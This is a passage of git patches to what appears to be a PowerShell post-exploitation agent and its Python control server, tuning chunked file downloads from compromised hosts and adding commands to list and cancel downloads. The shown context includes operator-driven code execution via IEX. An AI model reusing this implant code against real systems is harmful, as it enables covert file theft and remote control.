286e5df..c52e673 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -230,7 +230,7 @@ class Agents: parts # construct the appropriate save path - save_path = "%sdownloads/%s%s" % (self.installPath, sessionID, "/".join(parts[0:-1])) + save_path = "%sdownloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1])) filename = os.path.basename(parts[-1]) try: From 91c62e6982ee062212a6040d3cca475de5d80865 Mon Sep 17 00:00:00 2001 From: xorrior Date: Tue, 15 Aug 2017 08:32:39 -0700 Subject: [PATCH 18/22] Chunk play --- data/agent/agent.ps1 | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index d49fc49..4d50f80 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -996,7 +996,7 @@ function Get-FilePart { elseif($type -eq 41) { "In Download task" | Out-File -Append "d.log" try { - $ChunkSize = 10KB + $ChunkSize = 256KB $Parts = $Data.Split(" ") @@ -1006,7 +1006,7 @@ function Get-FilePart { $ChunkSize = $Parts[-1]/1 if($Parts[-1] -notlike "*b*") { # if MB/KB not specified, assume KB and adjust accordingly - $ChunkSize = $ChunkSize * 128 + $ChunkSize = $ChunkSize * 1024 } } catch { @@ -1022,11 +1022,11 @@ function Get-FilePart { $Path = $Path.Trim('"').Trim("'") # hardcoded floor/ceiling limits - if($ChunkSize -lt 10KB) { - $ChunkSize = 10KB + if($ChunkSize -lt 32KB) { + $ChunkSize = 32KB } - elseif($ChunkSize -gt 1MB) { - $ChunkSize = 1MB + elseif($ChunkSize -gt 8MB) { + $ChunkSize = 8MB } # resolve the complete path From c5ba78425b40096b2882da482a06e88e2adaf34a Mon Sep 17 00:00:00 2001 From: xorrior Date: Tue, 15 Aug 2017 09:47:29 -0700 Subject: [PATCH 19/22] One moreeee time --- data/agent/agent.ps1 | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 4d50f80..83cc594 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -994,9 +994,9 @@ function Get-FilePart { } # file download elseif($type -eq 41) { - "In Download task" | Out-File -Append "d.log" + try { - $ChunkSize = 256KB + $ChunkSize = 64KB $Parts = $Data.Split(" ") @@ -1025,8 +1025,8 @@ function Get-FilePart { if($ChunkSize -lt 32KB) { $ChunkSize = 32KB } - elseif($ChunkSize -gt 8MB) { - $ChunkSize = 8MB + elseif($ChunkSize -gt 4MB) { + $ChunkSize = 4MB } # resolve the complete path @@ -1034,7 +1034,7 @@ function Get-FilePart { # read in and send the specified chunk size back for as long as the file has more parts $jobID = Start-DownloadJob -ScriptString $Download -type $type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize - "Called Start-DownloadJob: $jobID" | Out-File -Append "d.log" + } catch { Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID @@ -1308,11 +1308,11 @@ function Get-FilePart { if(Get-DownloadJobCompleted -JobName $JobName) { # the job has stopped, so receive results/cleanup $Results = Stop-DownloadJob -JobName $JobName - "Job $JobName complete: size - $($Results.Length)" | Out-File -Append "d.log" + } else { $Results = Receive-DownloadJob -JobName $JobName - "Job $JobName data received: size - $($Results.Length)" | Out-File -Append "d.log" + } From 8c73b8dd059f3c80bdde77a20bab4f8aba8d45bd Mon Sep 17 00:00:00 2001 From: xorrior Date: Tue, 15 Aug 2017 10:41:54 -0700 Subject: [PATCH 20/22] . --- data/agent/agent.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 83cc594..46adee9 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -996,7 +996,7 @@ function Get-FilePart { elseif($type -eq 41) { try { - $ChunkSize = 64KB + $ChunkSize = 128KB $Parts = $Data.Split(" ") @@ -1022,8 +1022,8 @@ function Get-FilePart { $Path = $Path.Trim('"').Trim("'") # hardcoded floor/ceiling limits - if($ChunkSize -lt 32KB) { - $ChunkSize = 32KB + if($ChunkSize -lt 64KB) { + $ChunkSize = 64KB } elseif($ChunkSize -gt 4MB) { $ChunkSize = 4MB From 670e6a11d93943db513695aa34c1007b806aaaf9 Mon Sep 17 00:00:00 2001 From: xorrior Date: Tue, 15 Aug 2017 18:10:20 -0700 Subject: [PATCH 21/22] .. --- data/agent/agent.ps1 | 27 ++++++++++++++++++++++++--- lib/common/agents.py | 13 +++++++++++++ lib/common/empire.py | 17 +++++++++++++++++ lib/common/packets.py | 3 +++ 4 files changed, 57 insertions(+), 3 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index 46adee9..f512979 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -535,7 +535,7 @@ function Get-FilePart { function Start-DownloadJob { param($ScriptString, $type, $Path, $ResultID, $ChunkSize) - $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6) + $RandName = Split-Path -Path $Path -Leaf # create our new AppDomain $AppDomain = [AppDomain]::CreateDomain($RandName) @@ -1058,8 +1058,8 @@ function Get-FilePart { # return the currently running jobs elseif($type -eq 50) { - $RunningJobs = $Script:Jobs.Keys -join "`n" - Encode-Packet -data ("Running Jobs:`n$RunningJobs") -type $type -ResultID $ResultID + $Downloads = $Script:Jobs.Keys -join "`n" + Encode-Packet -data ("Running Jobs:`n$Downloads") -type $type -ResultID $ResultID } # stop and remove a specific job if it's running @@ -1080,6 +1080,27 @@ function Get-FilePart { } } + #return downloads + elseif($type -eq 52) { + $RunningDownloads = $Script:Downloads.Keys -join "`n" + Encode-Packet -data ("Downloads:`n$RunningDownloads") -type $type -ResultID $ResultID + } + + #Cancel a download + elseif($type -eq 53) { + $JobName = $data + $JobResultID = $ResultIDs[$JobName] + + try { + $Results = Stop-DownloadJob -JobName $JobName + + Encode-Packet -type 53 -data "Download of $JobName stopped" -ResultID $JobResultID + } + catch { + Encode-Packet -type 0 -data "[!] Error in stopping Download: $JobName" -ResultID $JobResultID + } + } + # dynamic code execution, wait for output, don't save output elseif($type -eq 100) { $ResultData = IEX $data diff --git a/lib/common/agents.py b/lib/common/agents.py index c52e673..8dfd00a 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1608,6 +1608,19 @@ class Agents: msg = "file download: %s, part: %s" % (path, index) self.save_agent_log(sessionID, msg) + elif responseName == "TASK_GETDOWNLOADS": + if not data or data.strip().strip() == "": + data = "[*] No active downloads" + + self.update_agent_results_db(sessionID, data) + #update the agent log + self.save_agent_log(sessionID, data) + + elif responseName == "TASK_STOPDOWNLOAD": + # download kill response + self.update_agent_results_db(sessionID, data) + #update the agent log + self.save_agent_log(sessionID, data) elif responseName == "TASK_UPLOAD": pass diff --git a/lib/common/empire.py b/lib/common/empire.py index 1f34269..ab71016 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -1529,6 +1529,23 @@ class PowerShellAgentMenu(cmd.Cmd): # update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID)) + def do_downloads(self, line): + "Return downloads or kill a download job" + + parts = line.split(' ') + + if len(parts) == 1: + if parts[0] == '': + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_GETDOWNLOADS") + #update the agent log + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get downloads") + else: + print helpers.color("[!] Please use for m 'downloads kill DOWNLOAD_ID'") + elif len(parts) == 2: + jobID = parts[1].strip() + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_STOPDOWNLOAD", jobID) + #update the agent log + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop download " + str(jobID)) def do_sleep(self, line): "Task an agent to 'sleep interval [jitter]'" diff --git a/lib/common/packets.py b/lib/common/packets.py index 4d1beb8..89373e7 100644 --- a/lib/common/packets.py +++ b/lib/common/packets.py @@ -98,6 +98,9 @@ PACKET_NAMES = { "TASK_GETJOBS" : 50, "TASK_STOPJOB" : 51, + "TASK_GETDOWNLOADS" : 52, + "TASK_STOPDOWNLOAD" : 53, + "TASK_CMD_WAIT" : 100, "TASK_CMD_WAIT_SAVE" : 101, "TASK_CMD_JOB" : 110, From 6791b8b9d5ff19fe2ec17c5ba9f879ffc3aba5dc Mon Sep 17 00:00:00 2001 From: xorrior Date: Tue, 15 Aug 2017 19:24:09 -0700 Subject: [PATCH 22/22] Removed Get-FilePart function --- data/agent/agent.ps1 | 72 -------------------------------------------- 1 file changed, 72 deletions(-) diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1 index f512979..2a2491f 100644 --- a/data/agent/agent.ps1 +++ b/data/agent/agent.ps1 @@ -530,7 +530,6 @@ function Get-FilePart { } } "@ -#Start-DownloadJob -ScriptString $Download -type $type -Path $Path -ResultID $ResultID -ChunkSize $ChunkSize function Start-DownloadJob { param($ScriptString, $type, $Path, $ResultID, $ChunkSize) @@ -679,77 +678,6 @@ function Get-FilePart { # get a binary part of a file based on $Index and $ChunkSize # and return a base64 encoding of that file part (by default) # used by download functionality for large file - function Get-FilePart { - Param( - [string] $File, - [int] $Index = 0, - $ChunkSize = 512KB, - [switch] $NoBase64 - ) - - try { - $f = Get-Item "$File" - $FileLength = $f.length - $FromFile = [io.file]::OpenRead($File) - - if ($FileLength -lt $ChunkSize) { - if($Index -eq 0) { - $buff = new-object byte[] $FileLength - $count = $FromFile.Read($buff, 0, $buff.Length) - if($NoBase64) { - $buff - } - else{ - [System.Convert]::ToBase64String($buff) - } - } - else{ - $Null - } - } - else{ - $buff = new-object byte[] $ChunkSize - $Start = $Index * $($ChunkSize) - - $null = $FromFile.Seek($Start,0) - - $count = $FromFile.Read($buff, 0, $buff.Length) - - if ($count -gt 0) { - if($count -ne $ChunkSize) { - # if we're on the last file chunk - - # create a new array of the appropriate length - $buff2 = new-object byte[] $count - # and copy the relevant data into it - [array]::copy($buff, $buff2, $count) - - if($NoBase64) { - $buff2 - } - else{ - [System.Convert]::ToBase64String($buff2) - } - } - else{ - if($NoBase64) { - $buff - } - else{ - [System.Convert]::ToBase64String($buff) - } - } - } - else{ - $Null; - } - } - } - catch{} - finally { - $FromFile.Close() - } - } ############################################################